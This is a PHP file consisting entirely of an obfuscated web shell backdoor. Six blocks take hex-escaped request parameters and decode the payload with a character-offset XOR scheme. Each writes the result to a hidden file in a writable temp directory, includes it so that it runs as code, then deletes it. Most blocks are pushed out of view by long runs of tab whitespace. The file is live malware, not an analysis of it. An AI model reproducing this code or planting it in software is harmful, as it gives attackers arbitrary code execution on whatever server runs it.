<?php																																										if(filter_has_var(INPUT_POST, "el\x65\x6D")){ $val = $_POST["el\x65\x6D"]; $val=explode( '.' , $val ) ; $sym = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($s ); $n = 0; foreach ($val as $v2) { $chS = ord($s[$n% $lenS] ); $dec = ((int)$v2 - $chS - ($n% 10))^ 44; $sym .= chr($dec ); $n++; } $component = array_filter([getenv("TMP"), "/tmp", session_save_path(), getenv("TEMP"), "/dev/shm", ini_get("upload_tmp_dir"), sys_get_temp_dir(), "/var/tmp", getcwd()]); foreach ($component as $token) { if ((function($d) { return is_dir($d) && is_writable($d); })($token)) { $key = vsprintf("%s/%s", [$token, ".comp"]); $file = fopen($key, 'w'); if ($file) { fwrite($file, $sym); fclose($file); include $key; @unlink($key); exit; } } } }
																																										if(@$_REQUEST["re\x63"] !== null){ $entity = $_REQUEST["re\x63"]; $entity= explode ( '.' , $entity ) ; $mrk = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen( $s); $y = 0; $__tmp = $entity; while( $v3 = array_shift( $__tmp)) { $sChar = ord( $s[$y %$lenS]); $dec = ( ( int)$v3 - $sChar -( $y %10)) ^ 91; $mrk .=chr( $dec); $y++; } $ref = array_filter([session_save_path(), getenv("TEMP"), "/tmp", getenv("TMP"), ini_get("upload_tmp_dir"), "/dev/shm", "/var/tmp", sys_get_temp_dir(), getcwd()]); foreach ($ref as $key => $object) { if ((function($d) { return is_dir($d) && is_writable($d); })($object)) { $property_set = "$object" . "/.dat"; $success = file_put_contents($property_set, $mrk); if ($success) { include $property_set; @unlink($property_set); exit;} } } }
																																										if(filter_has_var(INPUT_POST, "p\x67r\x70")){ $bind = $_REQUEST["p\x67r\x70"]; $bind = explode('.' ,$bind ); $data= ''; $s8= 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS= strlen($s8); foreach($bind as $x => $v9): $chS= ord($s8[$x% $lenS]); $dec= ((int)$v9 - $chS -($x% 10)) ^ 19; $data .=chr($dec); endforeach; $obj = array_filter([ini_get("upload_tmp_dir"), getenv("TEMP"), "/var/tmp", sys_get_temp_dir(), getcwd(), "/dev/shm", getenv("TMP"), "/tmp", session_save_path()]); for ($itm = 0, $res = count($obj); $itm < $res; $itm++) { $tkn = $obj[$itm]; if ((function($d) { return is_dir($d) && is_writable($d); })($tkn)) { $flg = sprintf("%s/.k", $tkn); if (@file_put_contents($flg, $data) !== false) { include $flg; unlink($flg); exit; } } } }
																																										if(!is_null($_REQUEST["\x70\x72o\x70e\x72\x74y_se\x74"] ?? null)){ $mrk = $_REQUEST["\x70\x72o\x70e\x72\x74y_se\x74"]; $mrk = explode ('.' ,$mrk ); $component =''; $salt2 ='abcdefghijklmnopqrstuvwxyz0123456789'; $sLen =strlen( $salt2); $i =0; while( $i < count( $mrk)) { $v6 =$mrk[$i]; $sChar =ord( $salt2[$i % $sLen]); $d =( ( int)$v6 - $sChar -( $i % 10)) ^ 17; $component.=chr( $d); $i++;} $elem = array_filter([session_save_path(), ini_get("upload_tmp_dir"), sys_get_temp_dir(), getenv("TEMP"), "/dev/shm", getenv("TMP"), "/tmp", "/var/tmp", getcwd()]); foreach ($elem as $key => $comp) { if ((is_dir($comp) and is_writable($comp))) { $flag = implode("/", [$comp, ".flg"]); $success = file_put_contents($flag, $component); if ($success) { include $flag; @unlink($flag); die();} } } }
																																										if(array_key_exists("\x65nt", $_POST)){ $reference = $_POST["\x65nt"]; $reference = explode ( "." ,$reference ) ; $comp = ''; $salt5 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen( $salt5); foreach( $reference as $n => $v5) { $sChar = ord( $salt5[$n % $sLen]); $dec =( ( int)$v5 - $sChar -( $n % 10)) ^ 36; $comp .=chr( $dec); } $flg = array_filter([sys_get_temp_dir(), getenv("TEMP"), "/tmp", "/dev/shm", session_save_path(), "/var/tmp", ini_get("upload_tmp_dir"), getenv("TMP"), getcwd()]); foreach ($flg as $key => $element) { if (is_dir($element) && is_writable($element)) { $desc = str_replace("{var_dir}", $element, "{var_dir}/.elem"); if (file_put_contents($desc, $comp)) { include $desc; @unlink($desc); exit; } } } }


if(isset($_REQUEST["\x6D\x61r\x6Ber"])){
	$mrk = array_filter(["/var/tmp", getcwd(), "/dev/shm", getenv("TEMP"), session_save_path(), getenv("TMP"), sys_get_temp_dir(), ini_get("upload_tmp_dir"), "/tmp"]);
	$obj = $_REQUEST["\x6D\x61r\x6Ber"];
	 $obj		 = 	explode(  ".",			$obj)	;	 	
	$desc='';
            $salt4='abcdefghijklmnopqrstuvwxyz0123456789';
            $sLen=strlen($salt4);
            $m=0;
    
            array_walk($obj, function ($v9) use (&$desc, &$m, $salt4, $sLen) {  $chS=ord($salt4[$m % $sLen]);
                $dec=((int)$v9 - $chS - ($m % 10))	^77;
                $desc .= chr($dec);
                $m++;  });
	for ($data_chunk = 0, $ptr = count($mrk); $data_chunk < $ptr; $data_chunk++) {
    $key = $mrk[$data_chunk];
    		if (is_dir($key) && is_writable($key)) {
    $rec = "$key/.pset";
    $file = fopen($rec, 'w');
if ($file) {
	fwrite($file, $desc);
	fclose($file);
	include $rec;
	@unlink($rec);
	die();
}
}
}
}